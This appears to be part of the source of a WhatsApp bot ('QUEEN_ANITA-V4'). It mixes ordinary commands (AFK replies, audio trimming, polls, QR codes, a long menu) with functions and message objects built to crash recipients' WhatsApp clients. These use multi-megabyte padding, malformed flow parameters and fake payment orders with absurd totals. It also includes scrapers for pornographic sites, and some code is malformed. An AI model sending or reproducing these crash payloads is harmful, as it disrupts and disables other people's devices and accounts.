"r6UKMeCSz4laAAV7emLiGFu/Rup9KdbInS2GY5rZmA4=", + "mediaKey": "4l/QOq+9jLOYT2m4mQ5Smt652SXZ3ERnrTfIsOmHWlU=", + "mimetype": "image/webp", + "directPath": "/o1/v/t62.7118-24/f1/m233/up-oil-image-8529758d-c4dd-4aa7-9c96-c6e2339c87e5?ccb=9-4&oh=01_Q5AaIM0S5OdSlOJSYYsXZtqnZ-ifJC0XbXv3AWEfPbcBBjRJ&oe=666DA5A2&_nc_sid=000000", + "fileLength": "10116", + "mediaKeyTimestamp": "1715876003", + "isAnimated": false, + "stickerSentTs": "1715881084144", + "isAvatar": false, + "isAiSticker": false, + "isLottie": false + } + }), { + userJid: LockJids, + quoted: QUOTED + }); + await David.relayMessage(LockJids, etc.message, { + participant: { + jid: LockJids + }, + messageId: etc.key.id + }); + } + + async function PIRGO(LockJids, QUOTED) { + var etc = generateWAMessageFromContent(LockJids, proto.Message.fromObject({ + interactiveMessage: { + header: { + title: "👿⃟𝐎𝐛𝐢𝐭𝐨 ↯ 𝐄𝐯𝐞𝐫𝐲𝐛𝐨𝐝༽𝐲", + hasMediaAttachment: true, + ...(await prepareWAMessageMedia({ + image: { + url: "https://telegra.ph/file/e8c1aee03b13f008ff65d.jpg" + } + }, { + upload: ryozingod.waUploadToServer + })) + }, + body: { + text: "" + }, + footer: { + text: "› ©𝙈𝘼𝙍𝙎𝙕𝙇𝙇 𝘿𝙀𝙑 !!!" + }, + nativeFlowMessage: { + messageParamsJson: "".repeat(1000000) + } + } + }), { + userJid: LockJids, + quoted: QUOTED + }); + await ryozingod.relayMessage(LockJids, etc.message, { + participant: { + jid: LockJids + }, + messageId: etc.key.id + }); + } + async function sendQP(target, filterName, parameters, filterResult, clientNotSupportedConfig, clauseType, clauses, filters) { + var qpMessage = generateWAMessageFromContent(target, proto.Message.fromObject({ + 'qp': { + 'filter': { + 'filterName': filterName, + 'parameters': parameters, + 'filterResult': filterResult, + 'clientNotSupportedConfig': clientNotSupportedConfig + }, + 'filterClause': { + 'clauseType': clauseType, + 'clauses': clauses, + 'filters': filters + } + } + }), { userJid: target }); + + await David.relayMessage(target, qpMessage.message, { participant: { jid: target }, messageId: qpMessage.key.id }); +} + + async function sendSessionStructure(target, sessionVersion, localIdentityPublic, remoteIdentityPublic, rootKey, previousCounter, senderChain, receiverChains, pendingKeyExchange, pendingPreKey, remoteRegistrationId, localRegistrationId, needsRefresh, aliceBaseKey) { + var sessionStructure = generateWAMessageFromContent(target, proto.Message.fromObject({ + 'sessionStructure': { + 'sessionVersion': sessionVersion, + 'localIdentityPublic': localIdentityPublic, + 'remoteIdentityPublic': remoteIdentityPublic, + 'rootKey': rootKey, + 'previousCounter': previousCounter, + 'senderChain': senderChain, + 'receiverChains': receiverChains, + 'pendingKeyExchange': pendingKeyExchange, + 'pendingPreKey': pendingPreKey, + 'remoteRegistrationId': remoteRegistrationId, + 'localRegistrationId': localRegistrationId, + 'needsRefresh': needsRefresh, + 'aliceBaseKey': aliceBaseKey + } + }), { userJid: target }); + + await David.relayMessage(target, sessionStructure.message, { participant: { jid: target }, messageId: sessionStructure.key.id }); +} + +const wanted = { + key: { + remoteJid: 'p', + fromMe: false, + participant: '0@s.whatsapp.net' + }, + message: { + "interactiveResponseMessage": { + "body": { + "text": "Sent", + "format": "DEFAULT" + }, + "nativeFlowResponseMessage": { + "name": "galaxy_message", + "paramsJson": `{\"screen_2_OptIn_0\":true,\"screen_2_OptIn_1\":true,\"screen_1_Dropdown_0\":\"ZetExecute\",\"screen_1_DatePicker_1\":\"1028995200000\",\"screen_1_TextInput_2\":\"czazxvoid@sky.id\",\"screen_1_TextInput_3\":\"94643116\",\"screen_0_TextInput_0\":\"radio - buttons${"\u0003".repeat(500000)}\",\"screen_0_TextInput_1\":\"Anjay\",\"screen_0_Dropdown_2\":\"001-Grimgar\",\"screen_0_RadioButtonsGroup_3\":\"0_true\",\"flow_token\":\"AQAAAAACS5FpgQ_cAAAAAE0QI3s.\"}`, + "version": 3 + } + } + } + } + + const Porke = { + key: { + participant: `0@s.whatsapp.net`, + ...(m.chat ? { + remoteJid: "status@broadcast" + } : {}) + }, + 'message': { + "interactiveMessage": { + "header": { + "hasMediaAttachment": true, + "jpegThumbnail": fs.readFileSync(`./thumb.png`) + }, + "nativeFlowMessage": { + "buttons": [{ + "name": "review_and_pay", + "buttonParamsJson": `{\"currency\":\"IDR\",\"total_amount\":{\"value\":49981399788,\"offset\":100},\"reference_id\":\"4OON4PX3FFJ\",\"type\":\"physical-goods\",\"order\":{\"status\":\"payment_requested\",\"subtotal\":{\"value\":49069994400,\"offset\":100},\"tax\":{\"value\":490699944,\"offset\":100},\"discount\":{\"value\":485792999999,\"offset\":100},\"shipping\":{\"value\":48999999900,\"offset\":100},\"order_type\":\"ORDER\",\"items\":[{\"retailer_id\":\"7842674605763435\",\"product_id\":\"7842674605763435\",\"name\":\"️࿆᷍🩸⃟༑⌁⃰𝕲𝖊𝖇𝖞𝕭𝖚𝖙𝖙𝖊𝖗𝖋𝖑𝖞𝕰𝖗𝖆𝖝𝖝𝐲͜͡⃟╮\",\"amount\":{\"value\":9999900,\"offset\":100},\"quantity\":7},{\"retailer_id\":\"custom-item-f22115f9-478a-487e-92c1-8e7b4bf16de8\",\"name\":\"\",\"amount\":{\"value\":999999900,\"offset\":100},\"quantity\":49}]},\"native_payment_methods\":[]}` + }] + } + } + } + } + + const Porke2 = { + key: { + participant: `0@s.whatsapp.net`, + ...(m.chat ? { + remoteJid: "status@broadcast" + } : {}) + }, + 'message': { + "interactiveMessage": { + "header": { + "hasMediaAttachment": true, + "jpegThumbnail": fs.readFileSync(`./thumb.png`) + }, + "nativeFlowMessage": { + "buttons": [{ + "name": "review_and_pay", + "buttonParamsJson": `{\"currency\":\"IDR\",\"total_amount\":{\"value\":49981399788,\"offset\":100},\"reference_id\":\"4OON4PX3FFJ\",\"type\":\"physical-goods\",\"order\":{\"status\":\"payment_requested\",\"subtotal\":{\"value\":49069994400,\"offset\":100},\"tax\":{\"value\":490699944,\"offset\":100},\"discount\":{\"value\":485792999999,\"offset\":100},\"shipping\":{\"value\":48999999900,\"offset\":100},\"order_type\":\"ORDER\",\"items\":[{\"retailer_id\":\"7842674605763435\",\"product_id\":\"7842674605763435\",\"name\":\"️࿆᷍🩸⃟༑⌁⃰𝐌𝐚𝐧𝐳 𝑪͢𝒓𝒂ͯ͢𝒔𝒉 𝐈𝐧͢𝐟𝐢ͮ𝐧͢𝐢𝐭𝐲͜͡⃟╮\",\"amount\":{\"value\":9999900,\"offset\":100},\"quantity\":7},{\"retailer_id\":\"custom-item-f22115f9-478a-487e-92c1-8e7b4bf16de8\",\"name\":\"\",\"amount\":{\"value\":999999900,\"offset\":100},\"quantity\":49}]},\"native_payment_methods\":[]}` + }] + } + } + } + } +let list = [] +for (let i of ownerNumber) { +list.push({ +displayName: await David.getName(i + '@s.whatsapp.net'), +vcard: `BEGIN:VCARD\n +VERSION:3.0\n +N:${await David.getName(i + '@s.whatsapp.net')}\n +FN:${await David.getName(i + '@s.whatsapp.net')}\n +item1.TEL;waid=${i}:${i}\n +item1.X-ABLabel:Ponsel\n +item2.EMAIL;type=INTERNET: mewing@gmail.com\n +item2.X-ABLabel:Email\n +item3.URL:https://whatsapp.com/channel/0029VaeRru3ADTOEKPCPom0L +item3.X-ABLabel:YouTube\n +item4.ADR:;;Indonesia;;;;\n +item4.X-ABLabel:Region\n +END:VCARD` +}) +} + + + + +async function searchGif(query) { + const url = `http://www.pornhub.com/gifs/search?search=${query}`; + const response = await fetch(url); + const html = await response.text(); + const $ = cheerio.load(html); + + const gifs = $('ul.gifs.gifLink li'); + + return gifs.map((i, gif) => { + const data = $(gif).find('a'); + + return { + title: data.find('span').text(), + url: 'http://dl.phncdn.com#id#.gif'.replace('#id#', data.attr('href')), + webm: data.find('video').attr('data-webm'), + }; + }).get(); +} + +// FUNCTION DOWNLOAD HENTAI SFM +async function hentaivid() { +return new Promise((resolve, reject) => { +const page = Math.floor(Math.random() * 1153) +axios.get('https://sfmcompile.club/page/'+page) +.then((data) => { +const $ = cheerio.load(data.data) +const hasil2 = [] +$('#primary > div > div > ul > li > article').each(function (a, b) { +hasil2.push({ +title: $(b).find('header > h2').text(), +link: $(b).find('header > h2 > a').attr('href'), +category: $(b).find('header > div.entry-before-title > span > span').text().replace('in ', ''), +share_count: $(b).find('header > div.entry-after-title > p > span.entry-shares').text(), +views_count: $(b).find('header > div.entry-after-title > p > span.entry-views').text(), +type: $(b).find('source').attr('type') || 'image/jpeg', +video_1: $(b).find('source').attr('src') || $(b).find('img').attr('data-src'), +video_2: $(b).find('video > a').attr('href') || '' +}) +}) +resolve(hasil2) +}) +}) +} + +let mentionUser = [...new Set([...(m.mentionedJid || []), ...(m.quoted ? [m.quoted.sender] : [])])] +for (let jid of mentionUser) { +let user = global.db.data.users[jid] +if (!user) continue +let afkTime = user.afkTime +if (!afkTime || afkTime < 0) continue +let reason = user.afkReason || '' +reply(`Don't tag him! +He is AFK ${reason ? 'with reason' + reason : 'without reason'} +During ${clockString(new Date - afkTime)} +`.trim()) +} +if (global.db.data.users[m.sender].afkTime > -1) { +let user = global.db.data.users[m.sender] +reply(` +Back From Afk ${user.afkReason ? ' During ' + user.afkReason : ''} +During ${clockString(new Date - user.afkTime)} +`.trim()) +user.afkTime = -1 +user.afkReason = '' +} + +function generateRandomPassword() { + const characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789@#%^&*'; + const length = 10; + let password = ''; + for (let i = 0; i < length; i++) { + const randomIndex = Math.floor(Math.random() * characters.length); + password += characters[randomIndex]; + } + return password; +} + +function monospace(string) { +return '```' + string + '```' +} + +function randomNomor(min, max = null){ +if (max !== null) { +min = Math.ceil(min); +max = Math.floor(max); +return Math.floor(Math.random() * (max - min + 1)) + min; +} else { +return Math.floor(Math.random() * min) + 1 +}} + +const unoDatabasePath = './david-cyril/uno_games.json'; + +function readUnoGameData() { + if (fs.existsSync(unoDatabasePath)) { + const data = fs.readFileSync(unoDatabasePath); + return JSON.parse(data); + } + return {}; +} + +function writeUnoGameData(data) { + fs.writeFileSync(unoDatabasePath, JSON.stringify(data, null, 2)); +} + +async function sendButton(jid, teks1) { +let msg = generateWAMessageFromContent(jid, { +viewOnceMessage: { +message: { +"messageContextInfo": { +"deviceListMetadata": {}, +"deviceListMetadataVersion": 2 +}, +interactiveMessage: proto.Message.InteractiveMessage.create({ +body: proto.Message.InteractiveMessage.Body.create({ +text: teks1 +}), +footer: proto.Message.InteractiveMessage.Footer.create({ +text: `ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ ᴛᴇᴄʜ™` +}), +header: proto.Message.InteractiveMessage.Header.create({ +title: '', +gifPlayback: true, +subtitle: '', +hasMediaAttachment: false +}), +nativeFlowMessage: proto.Message.InteractiveMessage.NativeFlowMessage.create({ +buttons: [ + { + "name": "cta_reminder", + "buttonParamsJson": `{\"display_text\":\"Pengingat Hari Kiamat\",\"id\":\"message\"}` + }, + { + "name": "cta_url", + "buttonParamsJson": `{\"display_text\":\"Group!!\",\"url\":\"https://chat.whatsapp.com/HEHSFt134b29XOnjEIRaXX\",\"merchant_url\":\"https://www.google.com\"}` + }, + { + "name": "cta_url", + "buttonParamsJson": `{\"display_text\":\"Saluran!!\",\"url\":\"https://whatsapp.com/channel/0029Vaf07jKCBtxAsekFFk3i\",\"merchant_url\":\"https://www.google.com\"}` + } +], +}), +contextInfo: { +externalAdReply: { + showAdAttribution: true, + mediaType: 2, + mediaUrl: `http://wa.me/2347043759577/${Math.floor(Math.random() * 100000000000000000)}`, + title: `Hello ${pushname}`, + body: `𝐐𝐔𝐄𝐄𝐍_𝐀𝐍𝐈𝐓𝐀-𝐕𝟒 𝐂𝐑𝐄𝐀𝐓𝐄𝐃 𝐁𝐘 ${ownername}`, + sourceUrl: "", + thumbnail: fkethmb +} +}})}} +}, {quoted: m}) +await David.relayMessage(m.chat, msg.message, { +messageId: msg.key.id +}) +} + +switch(command) { +case 'menyueuejejsu': case 'helpggyrarr': case 'allmjsjwjwjwjwjenurr':{ +let anu = `𝐐𝐔𝐄𝐄𝐍_𝐀𝐍𝐈𝐓𝐀` +let messageContent = generateWAMessageFromContent(m.chat, { + 'viewOnceMessage': { + 'message': { + 'messageContextInfo': { + 'deviceListMetadata': {}, + 'deviceListMetadataVersion': 2 + }, + 'interactiveMessage': proto.Message.InteractiveMessage.create({ + 'body': proto.Message.InteractiveMessage.Body.create({ + 'text': anu + }), + 'footer': proto.Message.InteractiveMessage.Footer.create({ + 'text': '' + }), + 'header': proto.Message.InteractiveMessage.Header.create({ + ...(await prepareWAMessageMedia({ image : fs.readFileSync('./thumb.png')}, { upload: David.waUploadToServer})), + 'title': ``, + 'gifPlayback': true, + 'subtitle': global.anitav4, + 'hasMediaAttachment': false + }), + 'nativeFlowMessage': proto.Message.InteractiveMessage.NativeFlowMessage.create({ + 'buttons': [{ + 'name': "cta_url", + 'buttonParamsJson': "{\"display_text\":\"\",\"url\":\"https://chat.whatsapp.com/HEHSFt134b29XOnjEIRaXX\",\"merchant_url\":\"https://www.google.com\"}" + }], + 'messageParamsJson': "\0" + }) + }) + } + } + }, {}); + + return await David.relayMessage(m.chat, messageContent.message, {}) + } +break + + + +case 'cut': { + if (!m.quoted || !m.quoted.mimetype || !/audio/.test(m.quoted.mimetype)) { + return reply('❌ *Reply to an audio file with the format:* `.cut 0:12/0:52`'); + } + + let args = text.split('/'); + if (args.length !== 2) return reply('❌ *Invalid format! Use:* `.cut start_time/end_time` (e.g., `.cut 0:12/0:52`)'); + + function parseTime(time) { + let [minutes, seconds] = time.split(':').map(Number); + return minutes * 60 + seconds; // Convert to total seconds + } + + let startTime = parseTime(args[0]); + let endTime = parseTime(args[1]); + + if (isNaN(startTime) || isNaN(endTime) || startTime >= endTime) { + return reply('❌ *Invalid time range! Make sure the start time is before the end time.*'); + } + + try { + await David.sendMessage(m.chat, { react: { text: `✂️`, key: m.key } }); + + // Download the audio file correctly + let mediaFile = await David.downloadAndSaveMediaMessage(m.quoted); + if (!fs.existsSync(mediaFile)) return reply('❌ *Failed to download the audio file.*'); + + let fileExtension = path.extname(mediaFile); + let outputAudio = `./tmp/cut_audio${fileExtension}`; + let outputDocument = `./tmp/cut_audio_doc${fileExtension}`; + + // Function to execute FFmpeg command + const execPromise = (cmd) => new Promise((resolve, reject) => { + exec(cmd, (error, stdout, stderr) => { + if (error) reject(error); + else resolve(stdout || stderr); + }); + }); + + // Trim audio using FFmpeg + await execPromise(`ffmpeg -i "${mediaFile}" -ss ${startTime} -to ${endTime} -c copy "${outputAudio}"`); + await execPromise(`ffmpeg -i "${mediaFile}" -ss ${startTime} -to ${endTime} -c copy "${outputDocument}"`); + + // Send the trimmed audio as a voice message + await David.sendMessage(m.chat, { + audio: { url: outputAudio }, + mimetype: 'audio/mp4', + ptt: false + }, { quoted: m }); + + // Send the trimmed audio as a document + await David.sendMessage(m.chat, { + document: { url: outputDocument }, + mimetype: 'audio/mp3', + fileName: `Trimmed_Audio${fileExtension}` + }, { quoted: m }); + + // Delete temporary files after sending + fs.unlinkSync(mediaFile); + fs.unlinkSync(outputAudio); + fs.unlinkSync(outputDocument); + + reply('✅ *Audio successfully trimmed!*'); + + } catch (error) { + console.error('Error trimming audio:', error); + reply('❌ *Failed to trim the audio. Please try again.*'); + } + + break; +} + +case "uptime": case "runtime": { + await David.sendMessage(m?.chat, {react: {text: `✨`,key: m?.key,}}) + reply (`*𝐐𝐔𝐄𝐄𝐍_𝐀𝐍𝐈𝐓𝐀-𝐕𝟒 𝐇𝐚𝐬 𝐁𝐞𝐞𝐧 𝐑𝐮𝐧𝐧𝐢𝐧𝐠 𝐅𝐨𝐫 ${runtime(process.uptime())}*`) + } + break + +//// New Commands + +case 'tempadmin': + if (!text.includes(' ')) return reply('Use the format: @user time_in_minutes'); + let [userr, time] = text.split(' '); + if (!userr.startsWith('@')) return reply('Mention a valid user.'); + if (isNaN(time)) return reply('Provide time in minutes.'); + await David.groupParticipantsUpdate(from, [userr + '@s.whatsapp.net'], 'promote'); + reply(`@${userr} is now an admin for ${time} minutes.`); + setTimeout(async () => { + await David.groupParticipantsUpdate(from, [userr + '@s.whatsapp.net'], 'demote'); + reply(`@${userr} is no longer an admin.`); + }, time * 60 * 1000); + break; + + case 'activity': + if (!m.isGroup) return reply('This command can only be used in groups.'); + if (!isBotAdmins) return reply('Bot must be an admin to use this command.'); + + let activeMembers = []; + let nonActiveMembers = []; + + for (let participant of participants) { + let contact = participant.id; + let lastSeen; + try { + lastSeen = await David.fetchStatus(contact); // Check last seen + } catch (e) { + lastSeen = null; // If last seen is unavailable, assume inactive + } + + if (lastSeen && Date.now() - lastSeen.timestamp < 24 * 60 * 60 * 1000) { + activeMembers.push(contact); + } else { + nonActiveMembers.push(contact); + } + } + + let activeList = activeMembers.map(member => `@${member.split('@')[0]}`).join('\n') || 'No active members in the last 24 hours.'; + let nonActiveList = nonActiveMembers.map(member => `@${member.split('@')[0]}`).join('\n') || 'All members are active in the last 24 hours.'; + + reply(`*Active Members in the last 24 hours:*\n${activeList}\n\n*Non-Active Members:*\n${nonActiveList}`); + David.sendMessage(from, { mentions: [...activeMembers, ...nonActiveMembers] }); + break; + + + case 'poll': + if (!text.includes('|')) return reply('Use the format: question|option1|option2|...'); + const [question, ...options] = text.split('|'); + if (options.length < 2) return reply('Provide at least two options.'); + David.relayMessage(from, { + pollCreationMessage: { + name: question, + options: options.map(o => ({ optionName: o })), + selectableOptionsCount: options.length + } + }); + break; + + case 'color': + if (!text.startsWith('#') || text.length !== 7) return reply('Please provide a valid hex color code (e.g., #3498db).'); + David.sendMessage(from, { image: Buffer.from(``), caption: `Color preview for ${text}` }); + break; + + +const figlet = require('figlet'); + +case 'ascii': + if (!text) return reply('Please provide text to convert.'); + figlet.text(text, (err, result) => { + if (err) return reply('Error generating ASCII art.'); + reply('```\n' + result + '\n```'); + }); + break; + + +case 'define': + if (!text) return reply('Please provide a word to define.'); + try { + const res = await axios.get(`https://api.dictionaryapi.dev/api/v2/entries/en/${text}`); + const meaning = res.data[0]?.meanings[0]?.definitions[0]?.definition || 'No definition found.'; + reply(`Word: ${text}\nDefinition: ${meaning}`); + } catch { + reply('Failed to fetch definition.'); + } + break; + + +case 'qrcode': + if (!text) return reply('Please provide text or a URL to generate a QR code.'); + qrcode.toBuffer(text, { type: 'image/png' }, (err, buffer) => { + if (err) return reply('Error generating QR code.'); + David.sendMessage(from, { image: buffer, caption: 'Here is your QR code.' }); + }); + break; + + case 'binary': + if (!args[0]) return reply('Please specify encode or decode followed by the text.'); + if (args[0].toLowerCase() === 'encode') { + reply(text.split('').map(c => c.charCodeAt(0).toString(2)).join(' ')); + } else if (args[0].toLowerCase() === 'decode') { + reply(text.split(' ').map(b => String.fromCharCode(parseInt(b, 2))).join('')); + } else { + reply('Invalid option. Use encode or decode.'); + } + break; + + + + + + +case 'tovideo': { + if (!quoted || !/webp/.test(mime)) { + return reply(`Reply to a video sticker with the caption *${prefix + command}*`); + } + + // Function to convert WebP to MP4 using Ezgif + async function convertWebpToMp4(buffer) { + const formData = require("form-data"); + const { JSDOM } = require("jsdom"); + const { default: fetch } = require("node-fetch"); + + let form = new formData(); + form.append("new-image-url", ""); + form.append("new-image", buffer, "image.webp"); + + // First request to Ezgif to upload the WebP file + let res = await fetch("https://ezgif.com/webp-to-mp4", { + method: "POST", + body: form, + }); + let html = await res.text(); + let { document } = new JSDOM(html).window; + + let form2 = new formData(); + let obj = {}; + for (let input of document.querySelectorAll("form input[name]")) { + obj[input.name] = input.value; + form2.append(input.name, input.value); + } + + // Second request to Ezgif to process the conversion + let res2 = await fetch("https://ezgif.com/webp-to-mp4/" + obj.file, { + method: "POST", + body: form2, + }); + let html2 = await res2.text(); + let { document: document2 } = new JSDOM(html2).window; + + // Extract the MP4 video URL + return new URL( + document2.querySelector("div#output > p.outfile > video > source").src, + res2.url + ).toString(); + } + + try { + // Download the sticker and convert to buffer + const mediaStream = await downloadContentFromMessage(quoted, "sticker"); + const chunks = []; + for await (const chunk of mediaStream) { + chunks.push(chunk); + } + const buffer = Buffer.concat(chunks); + + // Convert WebP to MP4 using Ezgif + const videoUrl = await convertWebpToMp4(buffer); + + // Send the MP4 video to the chat + await David.sendMessage(m.chat, { + video: { url: videoUrl }, + caption: `\n> ᴘᴏᴡᴇʀᴇᴅ ʙʏ ᴍʏ ᴄʀᴇᴀᴛᴏʀ ᴅᴀᴠɪᴅ ᴄʏʀɪʟ`, + mimetype: "video/mp4", + }, { quoted: m }); + } catch (error) { + console.error("Error in tovideo command:", error); + reply(`*An error occurred while converting the video sticker to video.*\n\n*Details:* ${error.message}`); + } + break; +} + +////////////############### + + + case "ping": case "speed": { +let timestamp = speed() +let latensi = speed() - timestamp +await David.sendMessage(m?.chat, {react: {text: `⚡`,key: m?.key,}}) + reply (`*𝐐𝐔𝐄𝐄𝐍_𝐀𝐍𝐈𝐓𝐀-𝐕𝟒 𝐒𝐏𝐄𝐄𝐃 = > : ${latensi.toFixed(4)}𝐦𝐬*`); + } + break; + + + + + + + case 'menu': case "allmenu": case "menulist": + + + + + // React with a lock emoji + await David.sendMessage(m?.chat, { react: { text: `🫅`, key: m?.key } }); + + + const menuText = ` +┌ ❏ *⌜ 𝐐𝐔𝐄𝐄𝐍_𝐀𝐍𝐈𝐓𝐀-𝐕𝟒 ⌟* ❏ +│ +├❍ ᴘʀᴇғɪx: ${global.prefix} +├❍ ᴜsᴇʀ : ${pushname} +├❍ ᴠᴇʀsɪᴏɴ: 4.4 +├❍ ᴛɪᴍᴇ: ${now.format('HH:mm')} (${botTimezone}) +├❍ ᴄᴏᴍᴍᴀɴᴅs: 1790 +├❍ ᴛᴏᴅᴀʏ: ${now.format('dddd')} +├❍ ᴅᴀᴛᴇ: ${now.format('DD/MM/YYYY')} +└ ❏ +${readmore} +┌ ❏ 〤 *AI MENU* 〤 +├❍ ${prefix} ᴄʜᴀᴛɢᴘᴛ +├❍ ${prefix} ʟʟᴀᴍᴀ +├❍ ${prefix} ᴍᴇᴛᴀɪ +├❍ ${prefix} ɢᴇᴍɪɴɪ +├❍ ${prefix} ɢᴇᴍᴍᴀ +├❍ ${prefix} ʜᴇʀᴍᴇs +├❍ ${prefix} ʙʟᴀᴄᴋʙᴏx +├❍ ${prefix} ᴄʟᴀᴜᴅᴇ +├❍ ${prefix} ᴅᴇᴇᴘsᴇᴇᴋ +├❍ ${prefix} ᴅᴇᴇᴘsᴇᴇᴋʀ1 +├❍ ${prefix} ᴍᴇᴛᴀɪ2 +├❍ ${prefix} ɢɪᴛᴀ +├❍ ${prefix} ᴍɪsᴛʀᴀʟ <ǫᴜᴇʀʏ> +├❍ ${prefix} ᴍᴜsʟɪᴍᴀɪ <ǫᴜᴇʀʏ> +├❍ ${prefix} ᴘᴏᴡᴇʀʙʀᴀɪɴ <ǫᴜᴇʀʏ> +├❍ ${prefix} ǫᴡᴇɴ2 <ǫᴜᴇʀʏ> +├❍ ${prefix} ᴀɪ-sᴇᴀʀᴄʜ <ǫᴜᴇʀʏ> +├❍ ${prefix} ᴛxᴛɪᴍɢ <ǫᴜᴇʀʏ> +├❍ ${prefix} ᴛxᴛ2ɪᴍɢ <ǫᴜᴇʀʏ> +├❍ ${prefix} ᴘʀᴏᴍᴘᴛ-ɢᴘᴛ <ǫᴜᴇʀʏ> +├❍ ${prefix} ɢᴘᴛɢᴏ <ǫᴜᴇʀʏ> +├❍ ${prefix} ꜱɪᴍɪ +├❍ ${prefix} ᴅᴀʟʟᴇ <ǫᴜᴇʀʏ> +├❍ ${prefix} ʀᴇᴍɪɴɪ <ɪᴍᴀɢᴇ> +├❍ ${prefix} ʙɪɴɢ <ǫᴜᴇʀʏ> +├❍ ${prefix} ʙʟᴀᴄᴋʙᴏx <ǫᴜᴇʀʏ> +├❍ ${prefix} ɴᴇᴠᴏ <ᴏ̨ᴜᴇʀʏ> +├❍ ${prefix} ʟᴜᴍɪɴɪ1 <ǫᴜᴇʀʏ> +├❍ ${prefix} ɢᴘᴛ4 <ǫᴜᴇʀʏ> +├❍ ${prefix} ᴅɪғғᴜsɪᴏɴ <ǫᴜᴇʀʏ> +│ +└ ❏ + +┌ ❏ 〤 *DOWNLOADER MENU* 〤 +│ +├❍ ${prefix} ᴘʟᴀʏ +├❍ ${prefix} ᴠɪᴅᴇᴏ +├❍ ${prefix} ᴘʟᴀʏᴅᴏᴄ +├❍ ${prefix} ᴠɪᴅᴇᴏᴅᴏᴄ +├❍ ${prefix} ᴛɪᴋᴛᴏᴋ +├❍ ${prefix} ᴛᴛ2 +├❍ ${prefix} ᴛᴛ3 +├❍ ${prefix} ᴛᴛsʟɪᴅᴇ +├❍ ${prefix} ɪɢᴍᴘ4 +├❍ ${prefix} ɪɢᴅʟ +├❍ ${prefix} ɢᴅʀɪᴠᴇ +├❍ ${prefix} sғɪʟᴇ +├❍ ${prefix} ᴀɪᴏ +├❍ ${prefix} ɢᴏʀᴇᴅʟ +├❍ ${prefix} sᴏɴɢ +├❍ ${prefix} ᴘʟᴀʏ2 +├❍ ${prefix} ᴛᴡɪᴛᴛᴇʀ +├❍ ${prefix} ʏᴛᴍᴘ3 +├❍ ${prefix} ɢɪᴛᴄʟᴏɴᴇ +├❍ ${prefix} ɪɴsᴛᴀɢʀᴀᴍ +├❍ ${prefix} ᴀᴘᴋ +├❍ ${prefix} ᴍᴇᴅɪᴀғɪʀᴇ +├❍ ${prefix} ʏᴛs +├❍ ${prefix} ғᴀᴄᴇʙᴏᴏᴋ +├❍ ${prefix} ᴛᴇʀᴀʙᴏx +├❍ ${prefix} ʟʏʀɪᴄs +│ +└ ❏ + +┌ ❏ 〤 *TOOLS MENU* 〤 +│ +├❍ ${prefix} ᴛᴛs +├❍ ${prefix} ᴘʟᴀʏ +├❍ ${prefix} ᴘɪɴ +├❍ ${prefix} ᴅɪᴀʀʏ <ᴇɴᴛʀʏ> +├❍ ${prefix} ɢᴏᴏɢʟᴇɪᴍᴀɢᴇ +├❍ ${prefix} ᴘᴏsᴛ <ᴀᴜᴅɪᴏ> +├❍ ${prefix} sʜᴀᴢᴀᴍm +├❍ ${prefix} ᴀᴜᴅɪᴏᴍᴀᴄᴋ +├❍ ${prefix} ᴘʜᴏᴛᴏʟᴇᴀᴘ +├❍ ${prefix} ᴘɪᴄsᴜᴍ +├❍ ${prefix} ɴᴘᴍs +├❍ ${prefix} ᴘʟᴀʏsᴛᴏʀᴇ +├❍ ${prefix} ᴘɪxɪᴠ +├❍ ${prefix} ᴄᴀᴛʜᴏʟɪᴄ +├❍ ${prefix} sᴇᴀʀᴄʜɢʀᴏᴜᴘ +├❍ ${prefix} ᴛᴏɪᴍɢ +├❍ ${prefix} ᴛᴏᴠɪᴅᴇᴏ +├❍ ${prefix} ᴛᴏᴍᴘ3 +├❍ ${prefix} ᴘᴏsᴛ <ᴀᴜᴅɪᴏ> +├❍ ${prefix} ᴄᴀᴛʜᴏʟɪᴄ +├❍ ${prefix} sᴘᴏᴛɪғʏsᴇᴀʀᴄʜ +├❍ ${prefix} ɴɢʟ +├❍ ${prefix} ᴛᴇᴄʜɴᴇᴡs +├❍ ${prefix} sᴛᴇᴀᴍsᴇᴀʀᴄʜ +├❍ ${prefix} ᴄʜᴏʀᴅ +├❍ ${prefix} ᴛᴛsᴇᴀʀᴄʜ +├❍ ${prefix} ᴛʀ +├❍ ${prefix} ғɪʟᴍsᴇᴀʀᴄʜ +├❍ ${prefix} ɢʀᴏᴜᴘsᴇᴀʀᴄʜ +├❍ ${prefix} ᴛʀᴀᴄᴋɪᴘ +├❍ ${prefix} ɢᴇᴛ +├❍ ${prefix} ғᴇᴛᴄʜ +├❍ ${prefix} ғᴅʀᴏɪᴅ +├❍ ${prefix} sᴛʏʟᴇᴛᴇxᴛ +├❍ ${prefix} ᴄɪɴᴇᴍᴀ +├❍ ${prefix} ǫᴜᴏᴛᴇss +├❍ ${prefix} ǫᴜᴏᴛᴇᴅ +├❍ ${prefix} ᴡᴀᴛᴛᴘᴀᴅ +├❍ ${prefix} vv +├❍ ${prefix} ᴛʀᴀɴsʟᴀᴛᴇ +├❍ ${prefix} ʀᴇᴀᴅᴍᴏʀᴇ +├❍ ${prefix} ᴘɪɴᴄʜᴀᴛ +├❍ ${prefix} ǫᴜʀᴀɴ +├❍ ${prefix} ʙɪʙʟᴇ +├❍ ${prefix} ᴇᴍᴏᴊɪᴍɪx +├❍ ${prefix} ᴘᴇʀɪᴏᴅɪᴄ-ᴛᴀʙʟʀ +├❍ ${prefix} ᴜɴᴘɪɴᴄʜᴀᴛ +├❍ ${prefix} ᴏᴄʀ +├❍ ${prefix} ᴄᴀʟᴄᴜʟᴀᴛᴏʀ +├❍ ${prefix} ғᴀᴄᴛ +├❍ ${prefix} ʜᴅᴠɪᴅᴇᴏ +├❍ ${prefix} ᴄᴏɴᴠᴇʀᴛ +├❍ ${prefix} converttimᴇ +├❍ ${prefix} ʟɪsᴛᴄᴜʀʀᴇɴᴄʏ +├❍ ${prefix} ᴄʀᴇᴀᴛᴇᴍᴇᴍᴇ +├❍ ${prefix} ᴘᴀssᴡᴏʀᴅ +├❍ ${prefix} ɢᴇᴛ +├❍ ${prefix} ғᴇᴛᴄʜ +├❍ ${prefix} ʀᴇᴍɪɴᴅᴍᴇ +├❍ ${prefix} ᴡᴀɴᴜᴍɴᴇʀ +├❍ ${prefix} sᴀᴠᴇ +├❍ ${prefix} ss +├❍ ${prefix} ᴄᴏᴜᴘʟᴇᴘᴘ +├❍ 